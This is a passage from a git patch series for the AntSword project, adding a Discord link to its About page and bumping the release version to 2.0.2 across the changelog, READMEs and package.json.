-507,7 +507,8 @@ module.exports = { header: '中国蚁剑', homepage: '主页', document: '文档', - qqgroup: 'Q群' + qqgroup: 'Q群', + discord: '在线交流' }, language: { title: '语言设置', diff --git a/source/modules/settings/about.js b/source/modules/settings/about.js index 3703ed71..4728a4a7 100644 --- a/source/modules/settings/about.js +++ b/source/modules/settings/about.js @@ -20,7 +20,8 @@ class About {

${LANG['header']} v${antSword['package']['version']}

GitHub / - ${LANG['document']} + ${LANG['document']} / + ${LANG['discord']}

`); From 71894bf5e7037445fe9899723a7ff51a7e988414 Mon Sep 17 00:00:00 2001 From: Medicean Date: Wed, 5 Dec 2018 12:51:06 +0800 Subject: [PATCH 21/21] prepare release v2.0.2 --- CHANGELOG.md | 2 +- README.md | 2 +- README_CN.md | 2 +- package.json | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3b2951f5..fa5c9038 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ > 有空会补补BUG、添添新功能。 > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. -## `(v2.0.x)` +## 2018/12/05 `(v2.0.2)` ### 模块增强 diff --git a/README.md b/README.md index 739dcddb..f169739a 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# AntSword [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release] +# AntSword [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release] > AntSword in your hands, no worries in your mind! diff --git a/README_CN.md b/README_CN.md index e29b6df9..91c60b2a 100644 --- a/README_CN.md +++ b/README_CN.md @@ -1,4 +1,4 @@ -# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release] +# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release] > 一剑在手,纵横无忧! diff --git a/package.json b/package.json index 4fe446cf..5833f492 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "2.0.1", + "version": "2.0.2", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": {